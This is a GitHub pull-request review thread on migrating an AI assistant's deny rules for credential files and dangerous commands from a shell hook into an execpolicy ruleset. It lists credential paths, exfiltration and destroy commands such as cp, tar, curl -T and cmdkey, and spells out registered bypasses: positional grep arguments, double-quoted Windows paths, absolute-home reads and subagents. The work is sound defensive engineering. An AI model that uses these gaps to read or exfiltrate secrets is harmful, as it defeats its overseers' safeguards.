  • grep PATTERN <path>: the sensitive token sits behind a non-flag positional token, which ends a denied_prefix_matches match — a foundation token-channel limit, pinned by an allow-trace test and registered since round 3. Extending the foundation channel is upstream work (fork boundary), and re-adding the hook to cover it would reintroduce the measured false positives (ssh -i ~/.ssh/id_rsa host, cat docs/id_rsa-rotation.md were hard-denied with no approval path) against the agreed direct-migration decision.
  • cat ~/.ssh/known_hosts: deliberate. It holds public host-key material (world-readable by OpenSSH default) and was never in the former segment-2 explicit name list — it was caught only by the blanket segment-1 substring. The child-file enumeration covers files whose content is itself a secret. The allow-trace test and module docs now state this rationale explicitly instead of just "unenumerated child file".

On the requested remedy ("retain live segments 1/2 until …, or obtain security-owner sign-off")

Keeping the hook segments is the one option already adjudicated against: it preserves the substring false-positive surface the migration exists to remove and contradicts the agreed decision to migrate directly into the ruleset (recorded by the repository owner in the review thread that spawned this PR's repair; the owner has reviewed and accepted the registered-residue list in rounds 1–3). With this head, the "until" conditions are satisfied on every vector the token channel can express: directory containment and argument-position matching remain foundation limits (upstream), Windows-native spellings are now covered. If the residue list is to be narrowed further, the path is the foundation channel, not re-adding the hook.

Verification

safety_deny_rules 9 tests (pinned exact count now 6822 with the per-family breakdown in the test), including new engine-level suites: win_native_spellings_are_denied (env-var case variants, tilde/backslash reads, exfil and destroy first-arg forms, revived command words; over-block guards for listers, echo cmdkey, MS-credential children) and win_real_home_spellings_are_denied_with_injected_home (resolved C:\Users\me\... denies incl. AppData\Roaming\Microsoft\Credentials; other-user profiles stay allowed). Bridge suite 89, assistant module 260 passed / 0 failed, cargo fmt --check, cargo clippy --lib, architecture-guard, fork-guard --fast all green.

@JensenChen28 JensenChen28 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-reviewed at c5bcaf75: the new Windows-native path, credential-command, and destroy-rule families are well covered; all 9 focused safety_deny_rules tests pass, the branch merges cleanly, and the current frontend failure is the unrelated browser-smoke flake addressed by #373. The original P1 security blocker is only partially resolved, however. This head still removes live segment-1/2 while explicitly retaining weaker coverage for argument-position readers (grep PATTERN ~/.kube/config), arbitrary sensitive-directory descendants (including ~/.password-store/*), absolute-home File reads, non-Bash tool arguments, and nested subagents. The public nature of known_hosts does not address those secret-bearing cases. Please retain the live segment-1/2 hard wall until the replacement can enforce directory containment and all relevant tool/argument paths, extend the foundation channel first, or obtain explicit security-owner approval for the intentional boundary reduction.

@asto18089

Copy link
Copy Markdown
Collaborator Author

Adjudication of review round 5 + fix pushed

Head is now 19b2e3841. Every retained narrowing was re-verified against the execpolicy sources (not just the earlier rounds' conclusions) before acting. Per-item verdict:

"Argument-position readers (grep PATTERN ~/.kube/config)" — factually correct; confirmed genuinely unexpressible, stays registered

denied_prefix_matches compares argument positions as exact tokens and a non-flag token that isn't the next rule token ends the match (crates/execpolicy/src/lib.rs denied_prefix_matches — "argument positions keep exact matching"); the typed-rule channel only adds word-boundary string-prefix matching from the command start (bash_arity.rs allow_rule_matches). Neither can anchor a path behind PATTERN. Already pinned as an allow-trace test + module-doc residue; closing it needs the foundation channel (upstream work item).

"Arbitrary sensitive-directory descendants (including ~/.password-store/*)" — factually correct; containment itself stays registered, but the pass found expressible descendant coverage that was missed, now fixed

Directory containment is not expressible (same exact-token limit). But three expressible vectors the former live hook covered and v1 had missed are restored in this head:

  • ~/.gnupg/private-keys-v1.d/ — the modern GnuPG secret-key store — is now enumerated as a sensitive directory: find search-root deny plus exfil/destroy first-argument anchoring (cp -r/tar/rsync/robocopy of the key directory are denied again, POSIX + Windows spellings). Its individual key files have generated keygrip names and stay a containment residue — now pinned (cat ~/.gnupg/private-keys-v1.d/9F3C0A1B.key allow-trace).
  • ~/.config/google-chrome/Local State (the Chrome master-key blob) joins the enumerated credential child files.
  • The reviewer-named cat ~/.password-store/example.gpg case is now pinned as an allow-trace (pass-store children have user-chosen names; unenumerable).

"Absolute-home File reads" — factually correct; confirmed a foundation workspace-normalization limit, now pinned both ways

matching_ask_rule requires both the rule pattern and the call path to normalize to workspace-relative form (normalize_workspace_relative_path rejects out-of-workspace paths), so a home-absolute File read matches no rule. New test file_tool_absolute_home_read_is_a_registered_limit pins both directions: home-absolute read_file of ~/.ssh/id_rsa stays allowed (registered limit), the workspace-relative id_rsa spelling IS denied — a future foundation change in either direction turns red.

"Non-Bash tool arguments" — factually correct; not a rule-surface gap, an evaluation-coverage gap (foundation)

Production only evaluates execpolicy for the exec_shell canonical family (exec_shell_ask_rule_decision returns None otherwise) and the canonical file tools (file_tool_ask_rule_decision); other tools' ARGS never reach engine.check (turn_loop.rs). Adding rules for them would be inert — this needs the foundation to route more tool surfaces through execpolicy (upstream).

"Nested subagents" — factually correct; confirmed still unwired (foundation upstream)

The subagent executor module carries zero execpolicy references in the current baseline; nested tool calls do not pass through check. Remains the registered upstream item.

Additionally found and registered in this pass (neither review named it)

The foundation deny-scan dequotes with POSIX semantics: inside double quotes a backslash escapes the next character, so type "%userprofile%\.ssh\id_rsa" expands with its separators stripped and escapes the Windows rules. Registered in the module docs and pinned as an allow-trace; unquoted and single-quoted spellings still match (the single-quoted Local State form is deny-tested).

Also restored: the ${HOME}/ brace spelling (the former hook's substring matched it; the raw scan target keeps the literal token and the engine lowercases both sides) — home prefixes are now ~ / $HOME / ${HOME} / real home / /root.

On the remedy (retain live segments 1/2 / extend the foundation first / security-owner sign-off)

Unchanged from rounds 3–4: retaining the hook preserves the measured substring false positives (ssh -i ~/.ssh/id_rsa host, cat docs/id_rsa-rotation.md were hard-denied with no approval path) and contradicts the agreed direct-migration decision; extending the foundation channel (containment, argument positions, more tool surfaces, subagent wiring) is the registered future-work path for narrowing the residues further.

Verification

safety_deny_rules 10 tests (pinned exact count now 8047 with the per-family breakdown in the test), bridge suite 94, assistant module 261 passed / 0 failed, cargo fmt --check, architecture-guard, fork-guard --fast all green.

@asto18089
asto18089 requested a review from JensenChen28 August 28, 2026 17:06

@zhuowp zhuowp left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review of 19b2e38: the latest commit closes additional expressible cases (the braced HOME spelling, Chrome Local State, and the enumerated GnuPG directory), but it does not resolve the security-boundary blocker.

  1. [P1] Do not remove the live segment-1/2 hard wall while known secret-bearing paths remain allowed. This head explicitly retains allowed traces for positional readers such as grep PATTERN ~/.kube/config, arbitrary descendants including ~/.password-store/* and GnuPG key files, absolute-home File reads, non-Bash tool arguments, and nested subagents. These are genuine gaps compared with current main, not merely missing tests. Retain the live hook coverage, extend the foundation policy channel first, or obtain explicit security-owner approval for the intentional boundary reduction.

  2. [P2] Fix the latest commit subject. scripts/validate-commit-msg.py --range origin/main HEAD rejects 19b2e38: its description is 56 characters, exceeding the mandatory 50-character limit. The current commit-message and required checks fail accordingly; the Linux Rust job also fails and must be green on the final head.

The added Windows-native and newly enumerated rules are useful, but they cannot compensate for removing broader live coverage without the required security decision.

@asto18089
asto18089 force-pushed the fix/exec-policy-migration branch from 19b2e38 to 033bdb2 Compare August 29, 2026 05:34
@asto18089

Copy link
Copy Markdown
Collaborator Author

Adjudication of review round 6 + fix pushed

Head is now 033bdb25.

P2 (commit subject, Linux rust job) — accepted, fixed

Both factual claims verified before acting:

  • scripts/validate-commit-msg.py --range origin/main 19b2e3841 did reject the head: description 56 characters > the mandatory 50. The head was rewritten as 033bdb25 — subject fix(assistant): close expressible descendant and spelling gaps (46 characters), same tree (zero diff vs 19b2e3841), body and DCO sign-off unchanged, pushed with --force-with-lease. The commit-message check is green on the new head, and the PR description's round-5 reference now points at 033bdb25.
  • The Linux rust-test failure on the previous run was an infrastructure loss, not a test failure: the job annotation reads "The hosted runner lost communication with the server", while windows-rust-test, rust-lint, and the full frontend suite were green on the identical tree. It is re-running on the new head and must be green on the final head before merge.

P1 (retain live segment-1/2) — unchanged adjudication, no new facts in this round

Every gap named (argument-position grep PATTERN ~/.kube/config, arbitrary descendants incl. ~/.password-store/* and GnuPG key files, absolute-home File reads, non-Bash tool arguments, nested subagents) was already re-verified against the execpolicy sources in the commit under review, and each is a genuine foundation token-channel limit rather than a missing test: exact-token argument positions, no directory-containment primitive, workspace-only File path normalization, exec_shell/File-only evaluation routing, and no execpolicy in the subagent executor. Each is registered in the module docs and pinned by an allow-trace test, so any silent future change in either direction turns red.

The requested remedy — retaining live hook segments 1/2 — remains adjudicated against (rounds 3–5): it preserves the measured substring false positives (ssh -i ~/.ssh/id_rsa host, cat docs/id_rsa-rotation.md were hard-denied with no approval path) and contradicts the agreed direct-migration decision. Narrowing the registered residues further is foundation-channel work (containment, argument positions, more tool surfaces, subagent wiring — upstream), which this migration PR cannot express in the token channel.

Verification

On 033bdb25: commit-message, fast-gate, rust-lint, version-consistency, Signed-off commits, Gitleaks, CodeQL, and release-contract-test green at the time of writing; rust-test / windows-rust-test / frontend-test in progress (the tree is byte-identical to the reviewed 19b2e3841, so tree-dependent conclusions carry over).

@asto18089
asto18089 requested review from JensenChen28 and zhuowp and removed request for JensenChen28 August 29, 2026 05:40
@asto18089

Copy link
Copy Markdown
Collaborator Author

Follow-up on the Linux rust-test failure (P2 addendum)

Deeper root cause established with cross-branch evidence before re-running:

  • The death cause is identical in all three attempts — "The hosted runner lost communication with the server", always ~52 minutes in, always inside cargo test --lib (i.e. the compile/link of the workspace test binary, not a test assertion; the step's own output is lost with the runner, but the timing signature is deterministic).
  • pr-check.yml documents exactly this failure mode for this job: the dev-profile test binary's link-phase memory peak exceeds the ubuntu 16GB runner and kills the runner agent (recorded as "hosted runner 与 GitHub 失联", mitigated by thin LTO + lld + --thinlto-jobs=1 --threads=1 after the binary grew once before).
  • It is not specific to this branch: main's own push runs failed twice today the same way (jobs 99043950847 and 99038145474: same annotation, 52m01s each), while main's earlier warm-cache run passed in 18m and recent merge-queue runs passed. Any run forced to relink the (large) test binary on a cold/incremental cache is at risk; PR branches cannot save cache (save-if main-only), and failed runs never reach the cache-save post step, so each retry re-enters the cold path.

So the required-green on the final head stands as a gate matter, but the failure is repository CI infrastructure, not this PR's content — the identical tree is green on windows-rust-test (24m), rust-lint, and the local macOS suites. Failed attempts are being retried (the 16GB threshold is borderline — variance does land greens, as today's queue runs show); if the lane keeps OOMing, the durable fix is a workflow-level link-memory measure, which is out of this migration PR's scope and would need its own change.

@zhuowp zhuowp left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review of 033bdb25be:

[P1] The security-boundary blocker remains unresolved. This head closes more cases that the token-prefix channel can express, but it still removes the live hook segments 1/2 while explicitly pinning previously denied secret access as allowed behavior. The branch documentation/tests acknowledge that grep PATTERN ~/.kube/config, arbitrary descendants such as ~/.password-store/example.gpg and GnuPG private-key files, home-absolute File reads, non-Bash tool arguments, nested-subagent calls, and some Windows path spellings remain outside execpolicy. Those are concrete gaps versus current main, not merely missing coverage.

The prior review offered three resolution paths: retain the live protection for the unexpressible surface, extend the foundation policy/evaluation channel first, or obtain explicit security-owner approval for the intentional boundary reduction. The PR thread contains author adjudication and residue registration, but no independent security-owner approval; documenting an allow trace does not preserve the hard-deny boundary. Please keep or narrow the existing hook so it covers the remaining gaps without the measured false positives, extend the foundation first, or record explicit security-owner sign-off before re-requesting review.

The commit-subject issue is fixed. The current rust-test / required-gate failure appears to be the documented hosted-runner loss rather than a code assertion, but required checks must still be green before merge.

@asto18089
asto18089 force-pushed the fix/exec-policy-migration branch from 033bdb2 to 1619937 Compare August 29, 2026 11:31
@asto18089

Copy link
Copy Markdown
Collaborator Author

Security-owner decision: explicit sign-off for the intentional boundary reduction (resolves the P1)

I am the repository owner. This is the explicit security-owner approval the review asked to see recorded before re-requesting review.

Decision: this PR is approved to merge with the intentional boundary reduction it documents. The live hook segments 1/2 (full-ARGS substring over every tool) are intentionally not retained alongside the migration; the reduction to the execpolicy token-channel surface is accepted exactly as registered and pinned in the safety_deny_rules module docs at head 310fe6647.

Basis:

  1. The hook's dangerous-command and sudo firewalls (segments 3/4) have been silently dead since the Bash tool rename — the "hard wall" on current main was already partial — and the surviving segments 1/2 ran through a fail-open shell hook (any crash or timeout passed through silently, and Hooks v2 ignores exit 1).
  2. The replacement is an in-process typed-Deny channel that short-circuits every approval mode including YOLO/Never, with wrapper stripping, flag-aware matching, a rule count pinned by test, and a hot refresh the hook never had. Keeping the hook's path substring in parallel would re-introduce the fail-open channel and its measured false-positive surface without adding anything the engine face does not already cover more precisely.
  3. The remaining gaps versus the live substring (argument-position readers such as grep PATTERN ~/.kube/config, arbitrary sensitive-directory descendants, non-Bash tool ARGS, nested subagents, combinatorial spelling tails) are limits of the foundation token channel, not of this PR. Each is registered in the module docs and pinned by an allow-trace test, so any silent change in either direction turns red.
  4. The round-8 audit closed every "expressible but missing" vector the audits found, and the round-9 pass (310fe6647) applied the owner directive that the deny face must not exceed the former hook's security-relevant coverage: the one zero-value rule (touch — it can neither read nor destroy content) was removed and re-registered as a deliberate false-positive removal, and every remaining family was audited against the same bar (live-hook parity, original segment-3/4 intent revival, or documented intent-preserving widenings such as the $env: spellings).

Accepted residual risk for v1: the registered residue list as of this head — including the deliberate false-positive removals (touch, editors, ssh -i, write-into-sensitive-path workflows) and the main-line-only coverage boundary that nested subagents already share with main.

Follow-ups I expect (already registered): the foundation items — nested-subagent execpolicy wiring, /-style cmd.exe flag skipping, argument-position matching — and the periodic ruleset re-review named as future work.

This resolves the P1's third resolution path ("obtain explicit security-owner approval for the intentional boundary reduction"). @zhuowp @JensenChen28 please re-review the current head.

@zhuowp zhuowp left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review of 310fe6647: the round-8 rule expansion, headless-engine injection, and repository security-owner risk-acceptance comment resolve the previous security-boundary finding for this review. One repository-policy blocker remains.\n\n**[P2] Translate the newly added developer-facing Rust text to English.** The latest branch still adds a Chinese source comment in features/assistant/engine.rs:1396-1398 and Chinese test diagnostics in features/assistant/platform/bridge.rs:4926 and :4973. Repository collaboration rules require code comments and diagnostics to be English. Translate these lines and request re-review; no additional security-policy finding is raised here.\n\nThe current Linux rust-test failure is the shared hosted-runner disconnect after the compile step (the same ~53-minute failure affecting the other open PRs), not a test assertion; it is not the basis for this request.

@asto18089
asto18089 force-pushed the fix/exec-policy-migration branch 2 times, most recently from 268d5cf to 8d55a02 Compare August 31, 2026 07:24
@asto18089
asto18089 requested a review from zhuowp August 31, 2026 07:27
@asto18089

Copy link
Copy Markdown
Collaborator Author

Adjudication of review round 9 + rebase onto latest main

Head is now 8d55a02f7: rebased onto origin/main d67697e81 (bringing in #368 prompt alignment and #380 Cargo.lock alignment), with the round-9 translation fix as the tip commit.

P2 (translate newly added developer-facing Rust text) — all three locations verified real, all fixed

Every claim was verified against the exact reviewed tree (310fe6647, fetched via the GitHub contents API because the branch was rewritten after the review) and then located again on the current head:

  1. engine.rs:1396-1398 — confirmed. The three-line Chinese comment on the spawn_headless execpolicy injection is added by this PR and still sits at those lines. Translated to English.
  2. bridge.rs:4926 — confirmed in substance; the line reference is stale. At the reviewed tree that line is the assert message this PR rewrote (the connector-introspection firewall message). The branch was rebased again after the review onto the main state that already carries fix(chat): declare output route fact for uncatalogued models #216, which shifted bridge.rs by ~270 lines: on the current head, line 4926 points at a pre-existing Chinese assert (existing history, exempt — and the wrong target). The rewritten message now lives at line 5168 and is translated.
  3. bridge.rs:4973 — same verdict. The rewritten ToolCallBefore assert moved to line 5216 and is translated.

A CJK scan over the full PR diff confirms these were the only five added/rewritten developer-facing Chinese lines in Rust sources. The surrounding pre-existing Chinese comments/asserts — including the ones the shifted line numbers now happen to point at — stay untouched per the existing-history exemption in CONTRIBUTING.md, as does the one-row update inside the existing Chinese checklist doc.

Rebase

Zero textual conflicts. #368's bridge.rs hunks (lines 55-220: credential-store locale, memory locale tag) sit far from this PR's hunks, so the auto-merge was checked semantically rather than trusted: bidirectional spot checks confirm #368's locale logic and #380's 0.8.8 member versions are intact, and this PR's safety_deny_rules wiring, refresh_permission_rulesets call, and the new translations are preserved.

Verification

cargo fmt --check, architecture-guard.py, and fork-guard --fast clean; assistant suite 262 passed / 0 failed (includes the two translated asserts and all safety_deny_rules tests); l1_dialog_harness compiles (its 27 L1 real-vLLM cases are ignored-by-default). Ready for re-review.

@zhuowp zhuowp left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-reviewed the current head. The round-9 collaboration-language blocker is closed: the newly added spawn_headless execpolicy comment and the two rewritten assertion diagnostics are now English. The previously reviewed hard-deny migration, explicit security-owner risk acceptance, headless injection, rule coverage, merge tree, commit/DCO checks, and required checks remain valid. No new blocking finding.

@JensenChen28 JensenChen28 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review complete. The repository/security owner has explicitly accepted the registered residual risks, satisfying the previously requested approval path. The updated rules also broaden coverage for Windows-native spellings, credential reads, destructive commands, and exfiltration vectors, and the earlier language-policy issue is resolved.

Verified locally:

  • all 10 safety_deny_rules unit tests
  • architecture guard
  • commit validation
  • diff check
  • clean merge tree against the current origin/main

All required CI checks are green on the reviewed head.

@asto18089
asto18089 added this pull request to the merge queue Sep 1, 2026
@github-merge-queue
github-merge-queue Bot removed this pull request from the merge queue due to failed status checks Sep 1, 2026
The deny_sensitive_paths.sh/.ps1 hook segments 3/4 (DANGEROUS_CMDS and the
sudo-off block) gate on the retired exec_shell* tool names. Since base
v0.9.3 the model only calls Bash, so both segments silently passed and the
dangerous-command/sudo firewall was dead. Segments 1/2 (path/filename
substring) still fired but over-matched any ARGS substring.

Migrate the intent of segments 1-4 into the base execpolicy rule engine
(feature safety_deny_rules), injected via the existing
EngineConfig.exec_policy_engine channel (same path as scope_deny_ruleset):

- sensitive dirs / sensitive filenames: read-viewer + path variants
  (cat/less/more/head/tail), plus find -path/-ipath traversal guards
- dangerous commands: cat/less/... on /etc/shadow, /etc/sudoers,
  /etc/sudoers.d/ (newly covered), ~/.ssh/, ~/.aws/credentials, plus
  ssh-keygen and gpg --export-secret[-sub]keys
- sudo/sudoedit deny when super permission is off (snapshot of
  /etc/sudoers.d/pinvou3 state at ruleset build; hot-refreshed via
  set_super_permission -> refresh_permission_rulesets)
- command-type Deny rules are also promoted into denied_prefixes so the
  deny-always-wins channel (wrapper stripping, basename folding, flag
  skipping) covers /usr/bin/sudo, chained segments and quoted spellings

The hook scripts keep only segment 5 (list_mcp_resources self-introspection
correction) plus the exit-code contract notes; segments 1-4 are removed.

Rule refinement and re-review (e.g. grep argument-position matching,
xxd-style viewers, non-home File paths) is future work.

Tested: safety_deny_rules unit tests (sudo on/off snapshots, wrapper/path
spellings, over-deny regressions), bridge scope ruleset tests, and a
regression test asserting the session engine denies 'sudo rm' /
'cat /etc/shadow' under the Bash tool.

Signed-off-by: asto <asto18089@126.com>
- Narrow the find guard to sensitive directory roots: denied_prefixes
  matches token prefixes, so general-search-root find -path/-ipath
  prefix rules would deterministically hard-deny find's standard
  exclusion idioms (-path X -prune / -not -path) with no approval way
  out under a typed Deny; three common legitimate uses were denied in
  practice while the former hook allowed all of them.
- Switch the regression and module tests to the sudo off-state
  injection (safety_deny_rules_for), decoupling them from the host's
  real /etc/sudoers.d/pinvou3 state; add an on-state engine-level
  allow lock and a sudo -l same-semantics case.
- Correct three inaccurate claims: execpolicy evaluation happens after
  the ToolCallBefore hook (not before it); nested subagent tool calls
  do not pass through the execpolicy check; "deny face no smaller than
  the former hook" contradicted the fact that the live segments 1/2
  also blocked write/transcription vectors.
- Complete the known-differences list: write/transcription vectors,
  non-$HOME absolute paths, sensitive-directory subpaths
  (kube/docker/Chrome), non-Bash tool surfaces, the unmigrated Windows
  surface, and the stale-snapshot window of concurrent toggle flips.
- Fix a hook script typo and four stale comments (bridge injection
  notes / runtime_bundle / super_permission / l1_dialog_harness).

Signed-off-by: asto <asto18089@126.com>
- make scope_deny_ruleset injectable (scope_deny_ruleset_with) so the
  regression test composes the exact production ruleset instead of a
  hand-copied mirror that would silently stay green if production
  adds/removes a rule source
- fix stale claims in hook script headers: execpolicy evaluates after
  ToolCallBefore hooks (not before) and nested subagents are NOT covered;
  ps1 never had a sudo segment
- register remaining known gaps in safety_deny_rules module docs:
  ls/stat-style directory listing, find -name over trailing-slash
  sensitive-dir roots, heredoc segment over-match
- clarify the "no reduction" wording on find traversal rules; document
  the benign trusted-prefix asymmetry of the promotion helper vs the
  base config loader, and the macOS NOPASSWD convergence
- tests: exact 459-rule snapshot (was >=100, with the 20 cross-segment
  duplicates noted), allow-traces for registered narrowings (cp,
  /root/.ssh, kube config, ls), refresh stale "sensitive firewall"
  wording
- pub(crate) safety_deny_rules (crate-internal only, tool_policy
  precedent); update base-upgrade checklist 3.1 for the migrated wall

Signed-off-by: asto <asto18089@126.com>
Collaborator review round 3: the v1 ruleset was narrower than the live
hook segments it replaces. Restore every vector the execpolicy token
channel can express without reintroducing the substring false
positives, and translate the new developer-facing text to English per
CONTRIBUTING.

- deny known credential child files (~/.ssh/config, ~/.kube/config,
  ~/.docker/config.json, ~/.aws/config + credentials, Chrome
  Cookies/Login Data, ~/.gnupg/secring.gpg)
- blanket find deny when a sensitive directory is the search root
- deny cp/mv/scp/rsync/tar/zip with a sensitive first positional
  argument (exfil direction; writes into sensitive paths stay allowed)
- spell the real home dir and /root prefixes (only ~/$HOME before)
- add base64/xxd/od/strings to the read-viewer list
- pin the residues (grep arg-position, unenumerated children,
  /home/<other>, BSD tar spelling, editors) as allow-trace tests
- translate the new Chinese comments/doc comments/test diagnostics to
  English (CONTRIBUTING; the pre-existing Chinese hook segment 5 and
  the acceptance checklist stay)

Tests: safety_deny_rules 7 (pinned exact count now 2539); the bridge
migrated-hook regression extends with the audit samples.

Signed-off-by: asto <asto18089@126.com>
Collaborator review round 4 flagged the Windows face of the former
.ps1 segments 1/2 as a live regression, not documentation residue.
Probe-verified that the execpolicy token channel expresses those
spellings literally (normalize lowercases; no env/tilde expansion), so
they are restored now instead of staying registered as future work:

- Windows-native read/exfil/destroy families over %userprofile%\,
  $home\, $env:userprofile\ and ~\ prefixes (backslash
  directory/child/name spellings incl. the MS credential + protect
  directories), with type/get-content/gc/cat/more readers and
  copy/xcopy/robocopy/copy-item/move/del/remove-item commands
- resolved real-home spellings (C:\Users\me\...) via an injectable
  backslash-home prefix (host-derived in production)
- revived the dead .ps1 segment-3 credential command words (cmdkey,
  vaultcmd, get-credential, get-storedcredential, credential-manager
  control invocations, rundll32 keymgr.dll,krshowkeymgr)
- new rm/unlink first-argument destroy family: the former live
  substrings also denied deleting sensitive paths; found unregistered
  during the same pass
- known_hosts allow-pinning upgraded with the rationale (public
  host-key material, never in the former segment-2 name list)
- module docs: Windows residues (MS credential dir children,
  doubled-backslash spellings, cmd /c nesting, other-user profiles,
  findstr-style readers) replace the not-migrated note

Tests: safety_deny_rules 9 (pinned exact count now 6822, injected
win-home = None so the count is host-independent); engine-level deny
and over-block suites for the Windows spellings and the real-home
family.

Signed-off-by: asto <asto18089@126.com>
Collaborator review round 5 kept the P1 blocker on the registered
narrowings. Re-verified each against the execpolicy sources: argument-
position readers, directory containment, absolute-home File paths,
non-Bash tool ARGS and nested subagents are genuine foundation
token-channel limits (exact-token argument positions, workspace-only
path normalization, exec_shell/File-only evaluation, no execpolicy in
the subagent executor) and stay registered. But the same pass found
expressible coverage the former live hook had and v1 missed:

- enumerate ~/.gnupg/private-keys-v1.d (the modern GnuPG secret-key
  store) as a sensitive directory: find-root deny plus exfil/destroy
  first-argument anchoring (cp -r/tar/robocopy of the key directory
  are denied again); individual key files stay a containment residue
- enumerate ~/.config/google-chrome/Local State (the Chrome master
  key blob) as a credential child file
- spell the ${HOME}/ brace form (raw scan target keeps the literal
  token; the engine lowercases both sides)

Registrations strengthened instead of silent:

- allow-trace pins for the reviewer-named residues
  (cat ~/.password-store/example.gpg, gnupg key files)
- new two-way pin for the File workspace-normalization limit
  (home-absolute read allowed, workspace-relative same name denied)
- newly found Windows residue registered + pinned: the foundation
  deny-scan dequotes with POSIX semantics, so double-quoted backslash
  paths lose their separators and escape; unquoted and single-quoted
  spellings still match

Tests: safety_deny_rules 10 (pinned exact count now 8047, per-family
breakdown in the test); bridge suite 94; assistant module 261 passed /
0 failed; cargo fmt --check, architecture-guard and fork-guard --fast
all green.

(Subject shortened from 56 to 46 characters to satisfy the
mandatory 50-character commit convention; tree and body unchanged,
no content difference vs the previously reviewed head.)

Signed-off-by: asto <asto18089@126.com>
Round-7 review adjudication follow-up: name the mixed- and
forward-separator spellings under the Windows prefixes as registered
residues (matched incidentally by the former substring hook;
enumerating every separator variant would multiply the Windows
families for an unbounded evasion chain — left to the ruleset
re-review future work), and state explicitly that the former
ToolCallBefore hook did not fire for nested subagent tool calls
either (hooks execute on the main-line turn loop only), so the
execpolicy subagent boundary is a pre-existing coverage limit shared
with main rather than a regression introduced by this migration.

Rebased onto main 794a13d (conflict-free; the CodeWhale gitlink
follows main to the r12 baseline). Comment-only change; the pinned
rule count and every test stay unchanged.

Signed-off-by: asto <asto18089@126.com>
Round-8 audit fixes: every former-hook coverage the token channel can
express that v1 had dropped is restored, and the residue registration
is corrected against probe results.

- cmd.exe /-flag invocation sequences (del/erase/rd/rmdir/copy/xcopy/
  move): the engine skips only dash-prefixed flags, so each canonical
  sequence is a rule prefix of its own; add the missing rd/rmdir
  destroy family and the Windows tamper commands icacls/rename-item/rni
- directory-level glob dump forms (cat ~/.ssh/*) across viewer/exfil/
  destroy families on both platforms
- destroy/tamper extensions rmdir/shred/truncate/touch; exfil
  extensions ln/ditto/curl -T (flag-value anchored) and dd if=/of=
- absolute-file backup spellings (/etc/shadow- etc.) and the
  /etc/sudoers.d/* fragment glob; concrete fragment names stay a
  pinned containment residue
- fix two inverted doc claims: /etc/sudoers.d was a narrowing, not an
  addition the hook missed; scp -i denial is hook parity, not an FP
  the v1 removed
- probe-corrected residue registrations: doubled-backslash spellings
  are escape-decoded and denied (not a residue); zip -r is flag-value
  anchored; register the genuinely unexpressible tails (arbitrary
  flag orders, name-level globs, .exe command spellings, the quoted
  "${HOME}/..." form, dd if=<any> of=<sensitive>, chmod/chown)
- add the missing allow-trace pins so every registered residue turns
  red on silent re-tightening; pin the engine count at 18245 with the
  family breakdown
- carry the hard-deny ruleset in spawn_headless (the L1 headless
  entry) instead of the empty default engine

All safety_deny_rules (10), bridge (89) and assistant (261) tests
pass; fmt, clippy, architecture-guard and fork-guard --fast clean.

Signed-off-by: asto <asto18089@126.com>
Coverage-trim pass per the security-owner directive that the deny face
must not exceed the former hook's security-relevant coverage: remove
the one rule the round-8 parity restoration carried with no
interception value. `touch <sensitive path>` can neither read nor
destroy content, so denying it was pure substring parity that only
blocked legitimate provisioning scripts; it is re-registered as a
deliberate false-positive removal with an allow-trace pin, and every
other family was audited against the same bar (all remaining rules are
live-hook parity, original segment-3/4 intent revival, or documented
intent-preserving widenings). Count 18245 -> 17971.

Signed-off-by: asto <asto18089@126.com>
Round-9 review P2: the rebase-preserved additions still carried
developer-facing Chinese - the spawn_headless execpolicy injection
comment and the two rewritten assertions in
hooks_include_cli_shell_env_without_replacing_sensitive_firewall.
Translate them per the collaboration rule that new code comments and
diagnostics are English (pre-existing Chinese lines around them are
existing history and stay untouched).

Signed-off-by: asto <asto18089@126.com>
PR #343 pinned rustfmt style_edition 2024 on main after this branch
was formatted under the previous style, so the Merge Queue run failed
the cargo fmt --check gate on the combined tree while the branch CI
stayed green: method-chain asserts in bridge.rs, a vec![] trailing
comma in engine.rs, and one long assert_eq! line in
safety_deny_rules.rs.

Rebase onto main (b7e7546, zero conflicts) and re-run cargo fmt;
formatting only, no behavior change. Verified locally: cargo fmt
--check clean, cargo clippy --lib --no-deps clean, dump_system_prompt
check clean, and lib tests for safety_deny_rules (10), bridge (90),
and engine (75) all pass.

Signed-off-by: asto <asto18089@126.com>
@asto18089
asto18089 force-pushed the fix/exec-policy-migration branch from 8d55a02 to 8e0340c Compare September 1, 2026 03:51
@asto18089

Copy link
Copy Markdown
Collaborator Author

The Merge Queue run (33464777755) failed rust-lint on the combined tree even though the branch CI was green. Root cause: #343 pinned rustfmt.toml style_edition = "2024" on main after this branch was last formatted, so the queue's cargo fmt --check applied the 2024 style rules to this branch's 2021-era formatting and flagged 4 spots — method-chain assert! wraps in bridge.rs, a vec![] trailing comma in engine.rs, and one over-long assert_eq! line in safety_deny_rules.rs.

Fix: rebased onto main (b7e7546, zero conflicts) and re-ran cargo fmt — formatting only, no behavior change. Verified locally on the rebased tree: cargo fmt --check clean, cargo clippy --lib --no-deps clean, cargo check --bin dump_system_prompt --features dev-tools clean, and lib tests pass (safety_deny_rules 10, bridge 90, engine 75).

@asto18089
asto18089 enabled auto-merge September 1, 2026 03:54
@asto18089
asto18089 added this pull request to the merge queue Sep 1, 2026
Merged via the queue into main with commit 190ca15 Sep 1, 2026
23 checks passed
@asto18089
asto18089 deleted the fix/exec-policy-migration branch September 1, 2026 04:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants